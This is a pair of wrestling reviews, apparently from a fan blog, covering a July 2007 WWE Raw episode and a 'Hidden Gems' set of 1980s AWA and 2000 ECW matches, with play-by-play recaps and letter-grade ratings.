Monday Night Raw – July 16, 2007: The Time Machine Show

IMG Credit: WWE

Monday Night Raw
Date: July 16, 2007
Location: American Bank Arena, Corpus Christi, Texas
Attendance: 7,000
Commentators: Jim Ross, Jerry Lawler

This was a request and one of several shows I’ve been asked to do from this era. It’s one of the times that I don’t remember very well whatsoever, which is always a fun thing to see. We’re less than a month removed from the Chris Benoit tragedy and that means things have kind of reset a bit. This is the go home show for the Great American Bash so we’ll get some buildup for a not very important pay per view. Let’s get to it.

Opening sequence.

HHH’s (who has been gone since January due to a torn quad) music starts us off but it’s King Booker and Queen Sharmell instead. There is one king around here and that is of course King Booker. Oh sorry. King Book-ah. However, there is someone who seems interested in a claim to the crown, which brings Booker to Lawler. Since Book-ah is the real king, Lawler must cease referring to himself as such. Lawler isn’t buying that as, you know, he’s been the King for thirty years.

That’s not cool with Booker, because a kingdom divided cannon stand. Lawler finally gives in and says he won’t call himself the King anymore, but Booker wants him to kiss the ring. Shockingly enough, that’s not happening so Booker orders Lawler. That’s enough to get Lawler to his feet so Book-ah punches him in the face, only to have Lawler get in a few shots of his own as we’re likely to have a match tonight. Nice segment, with Booker logically being annoyed at another king.

Ric Flair picks John Cena to beat Bobby Lashley at the Great American Bash. This seems to be a theme tonight.

Lawler looks ready to fight.

We look back at Umaga destroying Santino Marella last week to retain the Intercontinental Title.

Jeff Hardy vs. Shelton Benjamin vs. Santino Marella vs. William Regal

Elimination rules with the winner getting a shot at Umaga on Sunday. Charlie Haas is here with Shelton. This is before Santino had become a comedy goof so he’s just a boring guy in trunks at the moment. Santino and Regal fight to the floor with Jeff fighting out of the corner until stereo crossbodies put he and Shelton down. Regal and Marella get back in with Santino punching Shelton down until Regal hits the knee trembler to get rid of Santino for the first elimination.

Jeff hammers on Regal in the corner but gets caught with an electric chair from Shelton. We take a break and come back with Jeff getting double suplexed, leaving Regal and Benjamin to argue over the pin. In an elimination match because they’re not that bright. Regal throws Benjamin down with a suplex and drops a knee on Jeff for two. A collision out of the corner puts Regal and Benjamin down so Jeff is back up to some VERY high pitched cheers. Benjamin gets kicked to the floor but Jeff misses the slingshot dropkick in the corner. The knee trembler misses Jeff though and it’s a Twist of Fate to get us down to two.

Benjamin is right back in with a top rope Blockbuster for two and the fans are rather pleased on the kickout. A Whisper in the Wind sends Shelton outside and Jeff dives onto Haas and Benjamin. The Swanton misses though because Jeff can’t keep the momentum going for that long. Shelton loads up a piledriver but gets rolled up to give Jeff the pin and the title shot.

Rating: C. Hardy was the only realistic winner here and a match against the monster should be a good moment. This just felt a little more energized than most modern matches and that made for a nice opener. The ans were completely behind Hardy here and it’s easy to see why he was going to get the rocket attached to his back very soon.

Edge isn’t sure on Cena vs. Lashley because he has no history with Lashley. He has history with Cena and can’t stand him, but he knows how tough Cena is. Cena retains.

Randy Orton has challenged Cody Rhodes to a match tonight and it’s time to kill a legend before it starts (Cody only debuted earlier in the month and hasn’t actually wrestled yet). Vince McMahon would agree these days. Orton is ready to destroy Dusty Rhodes on Sunday and wants him out there tonight for a preview.

Maria tries to make Santino feel better because he’s not a loser. Santino talks about watching Transformers and thinks he feels like he doesn’t belong here. Then she makes him feel better. Come spend the night with him and he’ll make her pancakes in the morning. She’s good with that.

Batista can’t decide but goes with Lashley. The fans are the winners though.

The bald Snitsky likes to hurt people as much as he likes to win matches. It’s weird but he can’t help himself. His opponents’ pain is his pleasure.

Snitsky vs. Val Venis

Val still had a job in 2007??? Venis gets a boot up in the corner to start but gets sent chest first into the buckle to put him in trouble. The pumphandle slam finishes Val in a hurry.

Post match Val gives him a second pumphandle slam. Commentary focusing on Snitsky’s bad teeth show you how far he’s going to go.

Cody is ready for his in-ring debut but knows he can never be a bigger star than his dad. You can’t RKO away Dusty’s legacy but as for tonight, Cody is going to make a first impression.

Lawler is in the ring with a bull rope for a preview of Orton vs. Dusty in Sunday’s Texas Bull rope match. The rules are explained with Lawler talking about how many horrible, violent things he’s seen Dusty do in these matches over the years. And then Orton comes out for his match.

Video on Orton being a psycho and punting various people in the head.

Randy Orton vs. Cody Rhodes

This is Cody’s in-ring debut, which is almost hard to fathom. Dusty is out with Cody, as he should be. Cody gets in a left hand to the jaw to start but gets clotheslined down as the beating begins. Orton drops him ribs first across the top rope and Dusty is looking rather concerned, as he should.

The comeback is cut off by a snap powerslam and some forearms to the chest make it even worse. Orton grabs the chinlock for a bit until Cody fights up with right hands and a missile dropkick for two. That’s it again though as Orton grabs the backbreaker and Dusty’s emotional roller coaster continues. The RKO connects to finally put Cody away.

Rating: D+. This was a glorified squash as Cody wasn’t going to be any kind of threat. What kept my attention here was Dusty, who worked the crowd into a near frenzy, just by going through every possible emotion in a seven minute match. The look on his face when Cody was making his comeback and then getting the near fall sold the whole thing, because Dusty can sell you anything he wants without breaking a sweat. Not a good match, but great emotion.

Post match Orton loads up the Punt but Dusty breaks it up.

Steve Austin picks Cena but really isn’t sure.

Melina vs. Mickie James

Rating: D+. The women’s division was trying at this point and this was one of the better matchups they had, but what can you do in about three minutes? Candice wasn’t the most intimidating champion so they weren’t building to much, but they were certainly trying to get somewhere at this point so points for giving it a shot.

Smackdown Rebound.

Regal comes in to see Jim Duggan to talk about Jonathan Coachman liking Duggan’s board. This turns into a series of jokes about hard things going into Regal’s hand. Ron Simmons comes in for the joke, which is still funny.

Mick Foley picks Lashley because Cena has to lose at some point.

Carlito vs. Sandman

2007 was weird as this is fallout from Sandman caning Carlito last week. Sandman works on a wristlock for the token wrestling so Carlito slugs him down. The neck crank goes on until Sandman comes back for a slam, only to have Regal come in for the DQ (as Sandman caned him last week as well).

Duggan makes the save, setting up a nightmare of a tag match that I need to see.

JBL picks Cena for the experience.

Mr. Kennedy vs. Super Crazy

Rematch from two weeks ago when Kennedy ran his mouth too long and got pinned. Kennedy beat the fire out of him backstage last week to make himself feel better. Kennedy does his own entrance, while Super Crazy’s theme sums him up well: “I’M SUPER! I’M CRAZY! I’M SUPER CRAZY!”

An early shoulder puts Crazy down to start but he dropkicks the knee and hammers away in the corner. Kennedy punches him into the other corner and grabs an abdominal stretch to slow things down. With Lawler explaining that it hurts your abdominals, Crazy comes back with a slam and two of the three moonsaults. The third is broken up with a crotching though and a reverse superplex gives Kennedy the pin.

Rating: D. Well that was a big waste of a few weeks. Was there any need to have Kennedy deal with Super Crazy over the course of three weeks? Super Crazy was a jobber to the stars at best and that’s a lot less than what Kennedy should be doing. It was a nothing match too, as Kennedy won after shrugging off anything Crazy did. I don’t get this one and I think we’ll keep it that way.

Great American Bash rundown.

We look back at HHH tearing his quad in January. He’s coming back at Summerslam, apparently now as the Six Million Dollar Man (who was named Steve Austin on the show).

Coach is on the stage to moderate an in-ring podium debate between Cena and Lashley. Cena gets a very high pitched reaction. First up, we look at Cena getting speared during the recent contract signing. Cena is asked if he feels that his title reign is ending on Sunday, which is actually a year. It sounds like Cena is about to cry because that spear two weeks ago REALLY HURT. There’s no way he can win the match and the worst part is he never learned to read. Cena: “God bless America.”

That has to be a topical reference, though I get the “I award you no points” part. We get serious with Cena admitting that Lashley is more athletic than him, but he’s fought the best before. He’s won some and lost some but on Sunday, Lashley is getting Cena’s best. Lashley says if we want someone to hype the match, let Cena the hype man do it. He turns the podium over and says he’ll be ready to fight when Cena is done talking.

The fight is teased but Coach says this isn’t happening on his show. Lashley goes up the ramp but Cena says Lashley needs to be ready for the biggest match of his career. So he needs to get ready for Wrestlemania again? Cena knows that Lashley has a great resume and on Sunday he’ll put it to the test. Lashley comes back down and the fight is on to end the show. Good segment as they’re making Lashley feel like a real threat.

Overall Rating: D+. This was a weird look into the time capsule that was 2007. There were some rather strange characters and feuds in there, with stuff like Sandman, Super Crazy and Jim Duggan of all people getting TV time. Cena vs. Lashley felt like a one off match and while it felt big, it didn’t feel like it was going to be a game changed. The problem is that the Cena vs. Lashley stuff is just about the only good part of the entire show, which is from a completely forgotten time in the company’s history.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s History Of In Your House (also available as an e-book) from Amazon. Check out the information here:

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Hidden Gems Collection #10 (12 Days Of Hidden Gems Part 4): Do Not Open Until July

IMG Credit: WWE

Hidden Gems #10
Date: 1985, 1987, 2000

I’m FINALLY finishing up these Christmas shows and, again, it includes an AWA show because apparently there is nothing else to do on Christmas night in Minnesota. There is one little surprise in there as well though with a one match Gem instead of a full show. With luck, I can get this done by Halloween. Let’s get to it.

ECW World Title: Sandman vs. Justin Credible vs. Steve Corino

Date: December 23, 2000

Location: ECW Arena, Philadelphia, Pennsylvania

Corino is defending (though Sandman has the title) and this is from the final ECW event at the ECW Arena so it’s certainly historic. Before the match, Sandman says let’s make it a three way so I’m not sure who wasn’t originally in the match. Corino jumps Sandman from behind to start so the champ fights back and sends everyone outside. Credible sends Corino over the barricade as Sandman starts bringing out the toys.

The fans tell themselves to throw in their chairs before switching to the tried and true ECW chant. As the other two fight in the crowd, Sandman loads up six chairs with a piece of barricade on top of them. Credible comes back in for an ugly piledriver from Sandman, who then superplexes the bloody Corino onto the steel setup. Sandman is back up with the cane to the head and Corino hits the Old School Expulsion (basically a reverse Twist of Fate) to eliminate Credible at 3:54.

Sandman throws in chairs and the fans follow suit, throwing in probably 100 chairs. Eventually Sandman has to call them off as the mat is nearly covered, meaning a DDT onto the chairs gets….two as Corino’s lackey Jack Victory makes the save. Sandman’s Swanton only hits chairs and the Old School Expulsion on the chairs gets two. Victory belts Corino by mistake so Sandman can get two. A cowbell to the head retains Corino’s title at 7:22.

Rating: D. The chairs thing made for a cool visual but multiple ones being launched from the further seats and landing in the closer seats were lawsuits waiting to happen. Sandman was crazy over here and Corino was a great heel for wanting to be a wrestler. Credible was just there, which is often the case for him.

AWA House Show

Date: December 25, 1987

Location: Minneapolis Auditorium, Minneapolis, Minnesota

Attendance: 1,800

Commentators: Ron Trongard, Nick Conch

The ring announcer tells us to make sure to register for a prize drawing. Given how many empty seats are behind him, you probably have a good chance of winning something.

Mitch Snow vs. Nick Kiniski

There is a guest ring announcer who donated a bunch of money to a charity. Nick is Gene’s son and hopefully he’s more interesting than his dad. Oh and this is JAMMIN Mitch Snow because it’s the 80s and Jammin is a cool name. That being said, he has Madusa in his corner so there’s something to him. Kiniski chills on the floor to start before being driven into the corner and falling out to the floor. Back in and Snow works on the arm before taking Kiniski down and pulling on the arm.

We’re clipped to Kiniski putting on a chinlock as the arena looks darker and the camera is pulled back for some reason. It’s off to a front facelock with the bigger Kiniski laying on him quite a bit. Back up and Kiniski misses a charge into the corner, which didn’t even start until after Mitch had moved. It’s off to the reverse chinlock for a good while until Snow fights back up. We get the two minute warning and Kiniski grabs a rollup with trunks for the pin at 7:45 shown.

Rating: D+. Pretty dull match here but that’s kind of the point of an opener like this. All they were doing here was getting the crowd warmed up a little bit so it’s not like the standards were all that high. At least they went to a finish instead of just another time limit draw. Not very good, but I’m not exactly thinking they had the highest expectations.

Alan West vs. Kevin Kelly

Not that Kevin Kelly, though this one is better known as Nailz. West is substituting for DJ Peterson, who had won Madusa’s (Kelly’s manager) services for a month, which ends tonight. Madusa is in West’s corner and wearing an elf costume, which the announcers ridicule/praise in a somewhat disturbing way. Feeling out process to start with Kelly posing a lot and Trongard talking about West’s football career. Kelly works on an armbar as I try to figure out what happened to him until he became Nailz. He’s chiseled here while Nailz looked to be almost husky, which is quite the change of pace.

The announcers talk about how bored Madusa looks at ringside as West starts in on the arm. Back up and Kelly sends him into the corner, setting up a front facelock as the slow pace (read as the AWA style) goes on. The BORING chants send us off to a chinlock for far too long as the fans are getting bored in a hurry. They head outside with Kelly stomping away but having to come back in after the threats of a nagging referee. Back in and Kelly’s very slow offense continues and we hit the backbreaker.

Slam, misses elbow, slam, elbow connects for two. That somehow ate up over a minute and a half. West finally makes a comeback off a dropkick, with Kelly jumping into it for some reason. A backdrop gives West two and a powerslam gets the same with Kelly getting his foot on the rope. They do the same thing off a backbreaker, which looked like a setup for Madusa to sweep the leg. West picks him up again and this time Madusa does sweep the leg, allowing Kelly to fall on top for the pin at 10:55.

Rating: D-. From the boring “action” to the botched finish, this was one of the most uninteresting matches I’ve seen in a long time. West’s comeback was decent enough, but other than that this felt about three hours long and needed to be about seven minutes shorter. Terrible match here as the AWA continues its tradition of REALLY boring stuff.

Nord the Barbarian vs. Soldat Ustinov

A local radio announcer introduces this one. Nord is better known as Berzerker and Ustinov is one of those Russians from Minnesota. If Nord wins, he gets five minutes with Adnan Al-Kaissie. Nord grabs a headlock takeover and we’re immediately cut to the two of them fighting to the floor. They go into the crowd with Nord getting the better of it and somehow beating the count back in. A big boot gives Nord two and we’re clipped again to Ustinov charging into a boot in the corner for the same.

The front facelock goes on and we’re clipped again, this time to Ustinov raking the eyes. Ustinov grabs a chinlock as the announcers keep comparing this to a boxing match. They can clip everything else but not a two minute chinlock? The camera goes out for a bit as Nord fights up and hits a dropkick (which we only hear about). Nord misses a middle rope legdrop but Ustinov misses a middle rope clothesline to give Nord the pin at 5:45 shown.

Rating: D. Well what we saw was bad at least and were you really expecting anything else? You’re only going to get so much stuff out of a battle of the giants like this and that’s usually not the best recipe in the world. Neither of these guys were exactly interesting but the whole deal with the manager fight is more than enough to make something like this worth it.

Nord the Barbarian vs. Sheik Adnan Al-Kaissie

The chase is on and Ustinov’s interference earns himself a ram into the post. Sheik gets in and the beatdown is on with Sheik’s comeback cut off by a boot to the face. Ustinov comes in and some double teaming works a bit better on Nord….and everyone walks out at 2:08.

Tag Team Titles: Midnight Express vs. Midnight Rockers

For the sake of clarification, I’ll go with the Midnights vs. the Rockers here. The Express (Randy Rose/Dennis Condrey with Paul E. Dangerously) is defending here. Of note here, Shawn is starting to grow out his hair and has what would be his classic look for the next thirty years. The brawl is on before the bell with the Midnights being sent outside. We settle down to Shawn vs. Condrey to start, even though I don’t think I heard a bell in there.

A right hand knocks Condrey down and it’s time to complain about the closed fists. Given that referee Scott LeDoux is a former boxer, this doesn’t go very well. We settle down and get clipped to Shawn punching Condrey out of the corner. For some reason Rose shoves LeDoux and gets shoved back, meaning the champs need to bail, only to come back to see the Rockers holding the belts. A headlock takeover sends Condrey outside and it’s time to stall some more on the outside.

Back in and Dennis takes his time locking up, allowing Jannetty to get in the corner and block Shawn from being whipped into the corner. Rose tries the same thing and gets kicked in the ribs because Shawn is rather smart. The ring announcer says we’re at ten minutes, though it’s about six and a half, which makes me think the big time limit draw is coming. Rose comes in and gets monkey flipped before taking over on Shawn’s arm.

We’re clipped (that’s more like it) to Shawn hanging Rose up in the ropes and punching away for the rocking chair effect. Condrey comes back in and gets whipped into the corner as well, allowing the tag to Marty. A rope walk headlock takeover has Rose in trouble at the fifteen minute announcement, or ten shown. Marty’s crossbody gets two and the Rockers take turns with some headlock takeovers.

Rose gets up and manages to punch Condrey by mistake as the Midnights can’t get anything going. Marty knocks him into the corner again and we’re clipped again to Condrey not wanting to tag in. Clipped again to Condrey getting headlocked as well and we hit twenty minutes in (about twelve shown). Dangerously offers a distraction so Shawn can be knocked out to the floor. The champs finally take over on Shawn with a gutbuster making it even worse.

We hit the chinlock (you knew that was coming) and we’re clipped again to Shawn making his comeback. A clothesline takes care of that though but we’re clipped AGAIN to the hot tag bringing Marty in to clean house. Condrey blocks a sunset flip as we have two minutes left. Trongard freaks out because he thought it was an hour time limit but it’s only half an hour, which should be a detail they have down.

Marty gets two off a small package with a minute left. Condrey begs off so Marty wastes a long time before hammering away. Everything breaks down and the Rockers put on a freaking rowboat hold before realizing they’re out of time and covering with two seconds left as time expires at 18:18 shown of 30:00.

Rating: B-. What we got was working but my goodness the Rockers looked like morons at the end there. They just waited around forever and then realized how dumb they were at the end. The clipping hurt quite a bit though and while what we got was good, I never bought that the titles were in real jeopardy. Oh and just to make this worse: the Rockers won the titles TWO DAYS LATER, because why do it on Christmas night when you can….not?

Adrian Adonis vs. Wahoo McDaniel

Adonis has Dangerously in his corner and is looking like a cross between his most famous gimmick and the tough guy version. He even throws in a peck on Dangerously’s cheek to mess with the announcers. Adonis works on a headlock as the announcers talk about how much Adonis weighs, with Trongard seriously trying to say that Adonis weighs 458. I mean he’s fat but that’s Earthquake levels.

Adonis takes him down into an armbar but the referee breaks it up for no apparent reason. McDaniel comes back with a chop to the nose but gets driven into the corner with a splash crushing his arm. Another splash hits the referee though and Dangerously gives Adonis the phone for a shot to the head. Adonis’ splash gets two as Wahoo gets a foot on the rope. Adrian makes the mistake of going after the referee, allowing Wahoo to grab Dangerously. Wahoo steals the phone and knocks Adonis down before shoving the referee for the DQ at 5:42.

Rating: D-. This match felt like it belonged in 1983 at the latest as Adonis was just embarrassing. McDaniel looked better but that’s not saying much given who he was in there against. The two of them did not belong in a ring at this point but they were names so of course they were put on the show.

AWA World Title: Curt Hennig vs. Greg Gagne

Curt is defending of course and Greg doesn’t get an entrance. Both of their fathers are here at ringside so for the sake of simplicity I’ll only call them Larry and Verne. There are three referees for some reason and Larry Hennig wants Scott LeDoux out of here. After the Big Match Intros, Larry and Verne have to be tied together to prevent any cheating. I’m sure absolutely no shenanigans will take place.

Curt works on an armbar to start and gets shoved away in a hurry as the announcers recap the previous issues between the two with the fathers interfering in previous matches. Why can’t they do that in more matches? Greg gets in a right hand to knock Curt outside as the fathers are shoving each other on the floor. Back in and Curt gets two off a sunset flip but the threat of a right hand sends him bailing out to the floor. He gets back in again as the stall is in full swing here, allowing the announcers to list off possible challengers for the winner.

Hennig takes the leg and gets in a spinning toehold, setting up some pulling on the leg. Since the hold goes on for several minutes, it’s a BORING chant but Hennig seems to be paying attention and grabs a rollup for two. Gagne misses a dive onto the ropes and it’s a Figure Four to work on the leg even more. That gets turned over so Curt goes to the rope before starting right back in on the leg.

Gagne sends Curt shoulder first into the post and it’s time for the armbar. The arm goes into the buckle as the dads are about to fight again. A hammerlock slam has Hennig begging off in the corner but it’s a collision to put both of them down. Back up and the slugout goes to Curt and a middle rope splash gets two. Hennig knocks him outside and eventually is smart enough to let the referee count.

Back in and Greg turns it on with forearms and a backdrop as Larry is freaking out. The sleeper goes on and Verne finally punches Larry for trying to interfere. Larry punches him right back and breaks the hold, meaning it’s a dad fight on the floor. That’s enough for the DQ at 18:30.

Rating: C+. This was a long match and while it was dull at times, it was far from bad with the battle of limb work and the dads being extra factors on the floor. I wasn’t wild on the long form holds but at least the match could have been a lot worse given how things have gone around here before. Hennig was very good in the ring, though just having him as a regular guy wasn’t the most thrilling character. Gagne wasn’t too bad either, but he was in over his head here.

The brawl stays on and some wrestlers come in for the save as the dads keep fighting. Curt even beats up Verne, meaning it’s time for Verne to open his shirt and beat up everyone because that’s what he does. Hennig even breaks the belt over Greg’s head to brawl some blood. Things are finally settled down to end the show.

Hold on though as we’ve got some interviews to do.

The Midnight Rockers don’t like the thirty minute time limit and didn’t get to give the fans the Christmas present they wanted.

Dangerously says the Rockers had their chance and it’s on to another team. Why was it a thirty minute match? It’s because Dangerously is smarter than the Rockers. Hearing Dangerously talk here is such a striking difference between his more famous work as Paul Heyman.

Greg Gagne says he’s beaten Curt three times now and this time Larry had to save his son’s title. There is only one way to settle this and….I guess we’ll find out what that is later.

Verne Gagne, still with the open shirt despite this being in the empty arena, says Greg got cheated. And yes, of course he’s willing to come out of retirement. Well only if you beg him of course.

The Hennigs think the Gagnes are dumb because the Hennigs still have the title. Curt is more than down for a rematch.

Adrian Adonis says he put out Tommy Rich’s fire and Roddy Piper is nowhere to be seen. Now Wahoo is a former great Indian wrestler.

We go to the opening of All Star Wrestling….which is the same shot with Adonis and Dangerously in the same places and talking about Rich, Piper and McDaniel again. What an odd way to end another night that wasn’t all that great in the first place. The wrestling was fine (mostly) but the dim arena is killing them. This is less than a month before the first Royal Rumble and it looks like it’s 1978. That’s not going to work.

AWA Nite Of Champions II
Date: December 29, 1985

Location: Meadowlands Arena, East Rutherford, New Jersey

Attendance: 13,000

This is officially an AWA show but it’s actually Pro Wrestling USA, meaning it’s the AWA/NWA on the same card. At least we’ll get some flavor out of it.

Tony Schiavone recaps the Road Warriors vs. the Russians. The Road Warriors and Paul Ellering come in to talk about how serious they are. Of course they haven’t bitten off more than they can chew with the Russians. The Road Warriors have told Ellering what they want to do to the Russians and it is rather intense. Animal doesn’t like hearing about the Russians and the beating is coming soon.

Tully Blanchard, with his head bandaged after Starrcade, is coming to get the US Title back. He’s coming to get the US Title back and for Magnum TA’s eye.

The Rock N Roll Express want the Long Riders and will retain their titles. Not that they’re wearing any titles here. Ricky Morton wants to get hot and nasty and speaks in what sound like a lot of song lyrics. Or he’s just really high.

We hear the New Jersey Athletic Commission members. I’m assuming it’s for the record but I really don’t need to hear that Dr. Shaw is at ringside. Unless it’s Dr. Zahorian, just move on.

No commentary here, as expected.

Ron Bass vs. JJ Dillon

Bass is a cowboy who has been chasing Dillon (a manager) for a good while now. Dillon actually gets a home state reaction but not the biggest in the world because he’s quite the heel. Bass sends him into the corner and then grabs a quickly broken hammerlock. An armbar on the mat works better as Dillon seems to be in way over his head. A hair pull gets Dillon out of trouble for a split second but the fans dub this boring. Could you wait until we’re three minutes into the match?

The armbar goes back on but Dillon reverses into one of his own as the crowd reactions are much more prominent here with the lack of commentary. Back up again and Dillon chokes away in the corner, followed by a nerve hold and more BORING chants. Bass makes the comeback as I try to get my head around him being a face. The Claw goes on and Dillon is done at 5:23.

Rating: D. This is a match where commentary could have helped a lot with selling the hatred and history between these two. As a regular match it’s rather bad but for a nice moment for Bass, it worked well enough. Again though, it feels completely wrong to cheer for Bass, who is as heel of a character as you can get.

World Midget Title: Cowboy Lang vs. Little Tokyo

Tokyo is defending and starts by hiding behind the referee, including a pull of his pants. I wouldn’t be expecting much in the serious department here but that’s to be expected. Tokyo grabs a flying headlock takeover but runs into a dropkick. A test of strength goes to Lang and he backflips over Tokyo for some more frustration. Tokyo stomps on the referee’s foot in frustration/protest so Lang kicks him into the corner.

Some stomping in the corner keeps Lang down until he bites Tokyo’s bare foot. Lang’s delayed vertical suplex gets two and an atomic drop has Tokyo bouncing very high into the air. A backdrop and running stomp to the head gives Lang two but Tokyo rolls him up and puts his feet on the ropes to retain at 6:56.

Rating: D-. Yeah what is there to say about this one? The match was just a spectacle for the sake of having an attraction in there and that isn’t the most interesting thing in the world. The wrestling wasn’t any good and there was no flow to it, minus a few comedy spots. These things don’t age well and this was quite the downer.

AWA Women’s Title: Debbie Combs vs. Sherri Martel

Sherri is defending. The referee takes a LONG time checking Sherri for weapons and yelling at her in general. The lockup goes to Sherri and she grabs a front facelock to take over. Debbie takes her down by the leg, followed by Sherri taking her down by the leg to mix things up a bit. The fans don’t seem pleased with this one but they like Combs being tossed to the floor.

That means some choking with a camera cable but Combs is right back with stomping and a hard slam. Back in and Sherri misses a charge into the corner but she’s fine enough to knock Combs outside again. As was the case before, she doesn’t seem phased by it and tries a front facelock, which fans again find boring.

Sherri’s necksnap sets up….well nothing actually as she gets knocked into the corner and catapulted face first onto the mat for two. Sherri takes her down by the arm as the back and forth continues. Combs gets up again and knocks her to the floor followed by an airplane spin of all things back inside. She gets a bit too dizzy though and Martel grabs a rollup for the pin at 10:25.

Rating: D. This was a rough one to watch but the women were both trying as hard as they could have. Women’s wrestling was, much like the previous match, little more than a sideshow act at this point with no women’s wrestling (in America at least) meaning anything for a very long time. The WWF was trying, but it’s not like it was anything from a quality standpoint.

Universal Title: Carlos Colon vs. Konga The Barbarian

Colon is defending the WWC (Puerto Rico) World Title. That would be the Barbarian with Konga The as a bonus, plus Paul Jones (one of the worst managers of all time) in his corner. There’s no contact for the first minute as the referee objects to what looks like a spiked bad on Barbarian’s forearm. Colon slugs away to start and then grabs a headlock to grind away. This is dubbed as boring as well, as the fans are far from the most patient people in the world.

Barbarian slams him down for the headbutt, followed by the contractually obligated bearhug. This one is broken up in a hurry but Barbarian kicks him down for two more. The top rope headbutt misses so Barbarian sends Carlos outside where Jones gets in some stomping. Back in and Colon grabs the worst small package of all time (he doesn’t even touch a leg) to retain at 6:39.

Rating: D. See, I know there is a lot of variety on here and some big stars, but it doesn’t matter when the matches are all somewhere between bad and boring. This was another bad match with Barbarian being as standard of a villain as you can find (though he would keep doing this same role for the next fifteen years so he was doing something right) and the ending was awful. Can we please find something to help this show?

Post match Jones says they will be back. Can you not?

Buddy Roberts vs. Paul Ellering

Roberts is a Freebird and Ellering, in a neck brace here, is best known as the Road Warriors’ manager, though he did wrestle before an injury ended his career. Roberts jumps him to start and is knocked into the corner without much effort. A kick to the face has Roberts tied up in the ropes and it takes an assist from the referee to get him out.

Back up and Roberts goes after the knee, including wrapping it around the post. Not to be outdone, Ellering crotches him against the post to take over again. Roberts is fine enough to get in a shot to the neck though and the pace slows a bit. Forearms to the back set up a middle rope elbow to the back of the head and Roberts sends him neck first into the ropes. The piledriver is loaded up but the Road Warriors run in for the save.

Rating: D+. This still wasn’t great but it was better than the matches that came before it. It’s a lot more understandable that the match didn’t last long and had the ending it did given the circumstances they were under here. If nothing else, the Road Warriors running in was a nice bonus as the show has needed a burst of energy.

Post match the Warriors beat the heck out of Roberts, even hitting a Hart Attack of all things.

NWA Tag Team Titles: Long Riders vs. Rock N Roll Express

The Riders (Scott and Bill Irwin, a pair of bikers) are challenging. Robert and Scott start things off with Robert working on a headlock. Bill comes in to try a save and gets taken down with a headscissors at the same time Scott goes down with a headlock takeover. It’s off to Bill vs. Ricky with the latter’s armbar keeping things a bit slow. The champs start taking over on Bill with a full nelson and a dropkick that completely misses.

Bill finally gets in a slam but Roberts rolls through with it into a small package for no count. Instead it’s Ricky coming back in for a much better looking dropkick. It gets even worse with another full nelson into an armbar from Robert as this is one sided so far. A clothesline out of the corner finally puts Robert down and it’s back to Scott for a variety of choking. Bill’s middle rope elbow gets two and the fans give Robert the most polite pleas for a comeback I can ever remember seeing.

The bearhug is less well received, mainly because it’s a bearhug in the first good match of the card. Robert finally gets over to the corner for the hot tag to Ricky but the referee doesn’t see it (always a classic). The beatdown continues as I try to get my head around seeing Robert taking the beating for a change. Scott’s splash hits knees and the hot tag brings in Ricky, who starts punching before he gets back inside. Everything breaks down and it’s a double elbow to Robert, leaving Ricky to grab a sunset flip for the pin on Bill to retain at 11:04.

Rating: C. Definitely the best match of the night here as the Rock N Roll Express can work a formula like no team in history. I’m not sure why Robert was the one getting the heat here but it was a rather different change of pace from the traditional Express match. The Long Riders weren’t great but the Express knew just what to do against a team like them. Not a bad match, and great compared to everything else so far.

Post match the Express bails but the Riders say they aren’t leaving. Then they leave.

Sgt. Slaughter vs. Boris Zhukov/Chris Markoff

Slaughter’s Americas Heavyweight and tags are required. Markoff if your classic Russian by way of Minnesota and from what I can find, has been wrestling since 1964. We get straight to the choking in the corner with Markoff just standing there with his hand on Slaughter’s throat while Boris holds him. We finally settle down to Boris being thrown hard into the corner and Slaughter choking Markoff down, all to a USA chant.

Markoff pulls out a belt of some kind and hits Slaughter in the head as this is already getting dull. Slaughter is busted open and choking with the belt ensues, though the USA chants don’t slow down a bit. The choking keeps going as this is either a No DQ match or the referee is rather blind. Boris joins Markoff for some stomping to put Slaughter on the timekeeper’s table as they’re not veering out of their comfort zone. Slaughter finally Hulks Up….and gets choked down by the belt again.

Boris’ clothesline gets two and he drops some elbows so Markoff can get two of his own. Forearms to the back just wake Slaughter up and he takes the belt for a real whipping. A big shot with the belt gets two but the heels take him down AGAIN, this time with a double backdrop. Slaughter sends Boris outside though and finishes Markoff with the Slaughter Cannon at 11:50.

Rating: D-. HOW IS THIS SHOW GETTING WORSE? The crowd came close to pushing this up a bit but it was just so much choking that cut off the momentum every single time. They needed to cut about four minutes out of this to make it work and even then it wasn’t going to be very good. This show is death so far and this show dragged it right back down even further.

US Title: Magnum TA vs. Tully Blanchard

I’ll give it an A+ if it’s even close to what they can do. Magnum is defending and Tully has Baby Doll with him. Tully gets punched in the face and gorilla pressed to start so it’s time for some Doll time on the floor. Back in and Magnum punches away some more with a great look of intensity. Tully goes villainous with a poke to the eye and a throat drop across the barricade though and the champ is down on the floor.

Kicking and stomping keep Magnum down as they’re doing an outstanding job of making you feel the hatred. Magnum gets back up and wins the slugout on the floor before winning another one back inside. They’re both busted open as Magnum gets two off a suplex. A superplex attempt is shoved off though and Tully starts in on the back for the first actual wrestling of the match. With that box checked off, Tully goes back to hammering on the cut but runs into a dropkick for two. The belly to belly finishes Tully completely clean at 11:11.

Rating: B-. The ending was as sudden and surprising as you could get as Magnum just hit the dropkick, threw some punches, and finished. You would expect more out of these two for an ending but maybe that’s just the modern fan in me talking. What mattered here was the intensity and you could feel the hatred between the two of them. That’s what sold the feud and it was on full display here. It’s a nice followup to their masterpiece at Starrcade and for a big house show match, it was more than good enough.

NWA World Title: Dusty Rhodes vs. Ric Flair

Flair is defending of course and it’s almost strange to see him in anything but the Big Gold Belt. Dusty mocks Flair’s slick back the hair taunt and dances a bit, much to the crowd’s delight. The first elbow to the head gives us an early Flair Flop and it’s already time for a breather. That means more yelling at the fans, which Flair has turned into an art form over the years.

Back in and the dancing punches have Flair in more trouble, meaning we need more breathing (after he accidentally rolls onto the timekeeper’s table). Back in again and Dusty grabs a hammerlock into the boot rake to the face as you can feel how into this the fans really are. A kick to the leg gets Flair out of trouble and it’s time to get back to the basics. Dusty staggers around the ring off the shots to the leg and Flair cannonballs down onto it as only he can make look perfect.

The referee gets in his face over the cheating to a nice reaction but Flair lets it go and puts on the Figure Four. Dusty manages to turn it over and Flair is smart enough to let go almost immediately. Back up and Flair misses a charge into the corner, meaning it’s time to beg off. Dusty’s running clothesline gets two as Flair puts a foot on the rope. Flair begs off again so Dusty hammers away and we’ve got some blood.

A sweep of the legs lets Flair grab a rollup with feet on the ropes for two, because he has to get in that classic cheating where he can. Dusty slaps on his own Figure Four until a rope is grabbed. Back up and Dusty throws him over the top for a second, only to have Flair hit the referee. Oh yeah you know where this is going. Dusty nails the elbow and a second referee comes in to count the pin at 14:50.

